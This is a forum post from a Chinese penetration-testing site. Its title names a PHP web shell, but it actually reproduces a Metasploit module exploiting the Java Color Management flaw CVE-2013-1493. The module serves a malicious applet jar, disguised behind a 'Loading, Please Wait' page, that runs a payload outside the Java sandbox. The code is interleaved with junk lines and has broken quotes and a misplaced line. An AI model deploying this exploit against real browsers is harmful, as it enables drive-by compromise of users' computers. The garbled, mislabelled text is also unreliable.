中国网络渗透测试联盟
标题:
STUNSHELL PHP Web Shell远程执行代码
[打印本页]
作者:
admin
时间:
2013-4-4 17:31
标题:
STUNSHELL PHP Web Shell远程执行代码
##
5 h; E* A) j% k$ V3 t
# C1 v3 V! S( h" h6 [# p- m, P4 X4 ^; f
# This file is part of the Metasploit Framework and may be subject to
- u G! a6 a, |8 u- R6 z3 n' h) F
# redistribution and commercial restrictions. Please see the Metasploit
% F/ l) ~4 n* T$ {
# web site for more information on licensing and terms of use.
% u+ Y* i3 ~% U; Z' x/ x: x
#
http://metasploit.com/
9 [+ m) W+ g/ U1 J ~) m0 m- X
##
# N- b. ~/ N2 [/ H& f6 |5 y
require ‘msf/core’
: P) Y# B Q6 T8 u9 i: L+ ]
require ‘rex’
! V" [$ ^. L+ S- X
class Metasploit3 < Msf::Exploit::Remote
) q. \( T# }2 I
Rank = NormalRanking
: X: C; N& |9 j! O) O+ A9 L: p9 S
include Msf::Exploit::Remote::HttpServer::HTML
" K* c: ]7 A. E- c4 c+ r
include Msf::Exploit::EXE
# U! K% F: u3 |
include Msf::Exploit::Remote::BrowserAutopwn
- }7 o/ B+ u8 I- R. q
autopwn_info({ :javascript => false })
8 \3 q) T. ^, B% W+ W
def initialize( info = {} )
( C( i7 y; d8 `: ]/ X
super( update_info( info,
& B% l# N' Z5 n
‘Name’ => ‘Java CMM Remote Code Execution’,
% W( k# k/ H3 H
‘Description’ => %q{
/ P5 W% E9 m8 P3 ~& l
This module abuses the Color Management classes from a Java Applet to run
' m" V5 }1 T4 a0 l. ^7 m4 r8 T
arbitrary Java code outside of the sandbox as exploited in the wild in February
5 i% h& B2 f; d
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
( S: I$ g/ ~% j: t5 B& [+ k% D
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
( t! R" j1 z. f# \* t" T, p! {
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
1 V, X1 Q$ O4 s9 D! U. t
warning in order to run the malicious applet.
) I5 h7 a+ U' a8 u
},
8 W" s) w! `5 ^( X% n1 a) T+ R
‘License’ => MSF_LICENSE,
4 W5 {; N4 {3 C
‘Author’ =>
! b. _ ^" W. k; w
'Unknown', # Vulnerability discovery and Exploit
' u; T/ P# ?" @3 V) n5 U
'juan vazquez' # Metasploit module (just ported the published exploit)
+ Q# c' w T. \) [
],
9 K4 |# t! }" O, w0 ~7 W) P( a. i8 F
‘References’ =>
: Y h O, o8 g
[
. t# a* n9 U) v3 J! l/ v! p7 {( z5 Q
[ 'CVE', '2013-1493' ],
* i/ y( I" P5 i& W2 h. _
[ 'OSVDB', '90737' ],
0 L3 I, v* B9 u2 M/ D$ w1 c
[ 'BID', '58238' ],
& R# K* J$ E j5 r
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
2 |) r. _3 b' [
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
f% h9 z, h/ G, h, h, c1 V% ~
[ 'URL', 'http://pastie.org/pastes/6581034' ]
. w5 \& V+ n+ O" I; l3 B
],
% k1 m1 ^! Z1 v8 d+ Q8 R8 M5 S
‘Platform’ => [ 'win', 'java' ],
k) G' r# r/ _' ?& M0 L# m
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
+ p7 S) m, M6 E9 o9 M
‘Targets’ =>
; p7 a( e! R" B$ k1 _6 {
[
, ?: }3 j4 d/ M% r4 |
[ 'Generic (Java Payload)',
, f6 z" Y2 p+ ]7 v# |6 z- _
{
9 _8 [6 \3 C% G m6 X: x) K! `, n
'Platform' => 'java',
( z' o$ ?8 [) [9 P. ]6 m3 H; n. @
'Arch' => ARCH_JAVA
. T! X7 @5 x; Q. k/ r1 d
}
; U# ~% A B) D0 o3 T+ i
],
/ ?9 ^) M: _. _! I# B" D
[ 'Windows x86 (Native Payload)',
: L8 Q7 S# B0 y4 W& Y U3 \
{
- o* i6 z) D; @4 U, [5 e
'Platform' => 'win',
8 @# R: j* `* V5 N% x5 U
'Arch' => ARCH_X86
! y; H) o$ _. P: X2 Z4 ^
}
|- ~* _+ _; F% g6 j
]
+ G. @ W# y, z2 T ]
],
' ~. R% z9 W6 s
‘‘DisclosureDate’ => ‘Mar 01 2013′
1 {" H( |* e6 t7 Z7 _: F' S* L$ l
))
@& c# U+ @8 g7 [4 u) k* B
end
9 @5 s/ t' v" n$ U U* o! c: m( F
def setup
; N- r7 d$ z9 A3 _/ n4 m O
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
* }. x$ v( o2 r2 o& m& v6 W* D
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
5 q6 [2 z7 I$ T& g% J6 ?& ~' o
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
. U9 B1 O( |$ `$ n% N$ ~" V" c" _
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
/ c: q9 m; T9 _9 O) d) B
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
9 f9 _1 d W! E
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
" t2 w2 d5 Q4 U
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
; B% E# L) |) V, I2 M
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
# O9 M% L& m# ?! B" \
@init_class_name = rand_text_alpha(“Init”.length)
0 ^+ O- x' b* w- g% L# J: j* y" S
@init_class.gsub!(“Init”, @init_class_name)
% s5 V% k3 T0 G0 H. U% b
super
# l+ Y* f0 Y1 o2 D- D: `
end
% q. L9 L8 k% \ S
def on_request_uri(cli, request)
& _ H, C/ C" t: ?6 i4 G
print_status(“handling request for #{request.uri}”)
+ f4 h0 z0 o, |5 b$ N) Z8 b5 x% E
case request.uri
+ x8 H ]6 a8 w
when /\.jar$/i
2 B8 D: M; |: a8 [& J. M+ |4 m
jar = payload.encoded_jar
/ L, ]. F- J) }; u5 Z7 u5 C
jar.add_file(“#{@init_class_name}.class”, @init_class)
6 N& v/ c# T6 d& k y- n, G' J# u
jar.add_file(“Leak.class”, @leak_class)
# y& L( I: {* m- A }' |$ m
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
. D1 w4 {9 [, n) B8 s% N! O6 a
jar.add_file(“MyColorSpace.class”, @color_space_class)
7 z: \: j! p: Y: x# ?7 I# L" J
DefaultTarget’ => 1,
4 t+ e8 i% N" D) ^9 n' u0 n+ F
metasploit_str = rand_text_alpha(“metasploit”.length)
/ l; Y) B* B1 A1 y* G" g
payload_str = rand_text_alpha(“payload”.length)
7 s" X! h0 J" _* }5 \
jar.entries.each { |entry|
2 l: f8 a% [3 k
entry.name.gsub!(“metasploit”, metasploit_str)
& H& r! t# W, y7 D/ S. G
entry.name.gsub!(“Payload”, payload_str)
. G' E% B! a$ L/ d3 F3 j; B$ _ J
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
) C4 c1 K4 U; E: {- P/ q' R
entry.data = entry.data.gsub(“Payload”, payload_str)
4 x% F2 e) j& ]2 l3 s8 A$ \
}
6 c! N0 J! S: M" Q1 i! m/ J. \' `
jar.build_manifest
! G, g$ N! A! D
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
0 x4 n' E9 D) C- @# Z
when /\/$/
7 W$ G3 d% |& E' U; O, ]9 P$ p
payload = regenerate_payload(cli)
% |% g6 U$ Z% s _1 `1 F
if not payload
( ~7 u! s. ^$ E5 G3 ~/ i" o
print_error(“Failed to generate the payload.”)
/ x: T `# Y5 x1 c( r J
send_not_found(cli)
1 P I* A" e7 _
return
. D/ F' z8 M6 N' K0 o
end
( N9 b5 z( }9 o: u) I# d* {
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
' m* g# N$ `' W5 R( N$ e
else
& n. @( j& @: _6 @2 k
send_redirect(cli, get_resource() + ‘/’, ”)
3 }9 P; p' u a. g" E" V
end
$ P {. c" F5 t3 U W
end
) J" Z i2 y- h- Z
def generate_html
4 O' U. u" J0 S
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
S6 M ^, v# k( s" V% ^$ c3 ?1 }
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
$ I$ i7 h( s8 M$ s) R
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
7 O3 A4 Q7 k" s. k* T4 [
html += %Q|</applet></body></html>|
. a L0 j* t( l- i7 ]
return html
6 v% p' C, ]! ~
end
! C" r. |' V3 G4 Q
end
/ J8 [: H% v2 N2 M
end
+ h6 v9 F9 j5 a% C9 ?/ C
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2